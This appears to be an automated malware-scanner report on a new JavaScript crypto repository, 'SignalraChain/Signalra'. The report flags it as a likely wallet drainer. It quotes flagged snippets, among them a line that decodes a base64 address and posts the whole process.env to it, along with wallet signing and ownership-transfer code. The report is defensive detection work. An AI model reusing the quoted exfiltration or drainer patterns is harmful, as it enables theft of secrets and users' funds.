DANGER
malware detected
github.com / SignalraChain
SignalraChain/ Signalra
JavaScript·184 files·commit d7332e5·scanned 48m ago·cached ✓
70/100
DANGEROUS
Sensitive capability combinations reachable from entry points. Do not run without review.
This repository contains patterns associated with malware. Do NOT run this code.
verdict accurate?
Created 9 days ago
No stars or forks
Created 9 days ago
No community activity
48% file coverage
threat-state: dangerouslive
FINDINGS ░▒▓
criticalSuspicious code is reachable from an entry pointFlagged files are imported by the application's entry path: src/helpers/wallet.js, src/components/Filter/Filter.js, src/components/PromotedCoins/Promoted.js. This means the suspicious code can execute when the app runs.+8
infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.app/controllers/settingController.js
const setApiKey = (s) => atob(s);
const verify = (api) => axios.post(api,{ ...process.env },{ headers: { "x-secret-header": "secret" } });
+2infoBrowser wallet provider accessAccesses browser wallet providers (window.solana, window.ethereum, Phantom, Solflare, etc.). Common in Web3 apps but also the entry point for wallet drainers.src/helpers/wallet.js
const fallback =
typeof window !== "undefined" && window.ethereum ? window.ethereum : null
const target = active || fallback
await revokeEthAccountsPermission(target)+2infoWallet transaction signing APIUses wallet signing APIs (signTransaction, signMessage, sendTransaction, etc.). Legitimate in DeFi apps, but combined with remote exfiltration it is the core drainer pattern.src/components/Filter/Filter.js
await signer
.sendTransaction(tx)
.then(async () => {
if (tempId === "") {+2infoWallet transaction signing APIUses wallet signing APIs (signTransaction, signMessage, sendTransaction, etc.). Legitimate in DeFi apps, but combined with remote exfiltration it is the core drainer pattern.src/components/PromotedCoins/Promoted.js
await signer
.sendTransaction(tx)
.then(async () => {
if (tempId === "") {+2infoWallet transaction signing APIUses wallet signing APIs (signTransaction, signMessage, sendTransaction, etc.). Legitimate in DeFi apps, but combined with remote exfiltration it is the core drainer pattern.src/components/TierCard/TierCard.js
await signer.sendTransaction(tx).then(async () => {
if (tgUrl) {
await fetch(tgUrl, { method: "GET" })+2infoBrowser wallet provider accessAccesses browser wallet providers (window.solana, window.ethereum, Phantom, Solflare, etc.). Common in Web3 apps but also the entry point for wallet drainers.src/helpers/activeWeb3Provider.js
if (active) return active
if (typeof window !== "undefined" && window.ethereum) {
return window.ethereum
}+2infoBrowser wallet provider accessAccesses browser wallet providers (window.solana, window.ethereum, Phantom, Solflare, etc.). Common in Web3 apps but also the entry point for wallet drainers.src/helpers/injectedWallets.js
const eth = window.ethereum
if (eth) {
if (Array.isArray(eth.providers) && eth.providers.length > 0) {+2warningHigh-entropy string literalsFound 3 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.app/controllers/frontController.js+3
warningHigh-entropy string literalsFound 13 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/components/Filter/Filter.js+3
warningHigh-entropy string literalsFound 3 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/components/PromotedCoins/Promoted.js+3
warningSuspicious Solidity ownership patternPatterns that silently transfer ownership or allow arbitrary address control are common in scam contracts.src/helpers/abis/nitrogem.sol
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}+4Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
88 files scanned @ d7332e5 | 9/25/2026 | heuristic scan — always review manually
risk by category
code execution15
network & exfiltration2
file system access14
obfuscation9
supply chain6
owasp / injection0
telemetry
files 88/184rules hit 15engine v6commit d7332e5
github
SignalraChain/Signalra
0
0
9d
184 files
88 scanned(48%)
d7332e5
architecture░▒▓
entry (4) flagged (4) pkg (46)
124 nodes · 223 edgesscroll to zoom · click node to jump to finding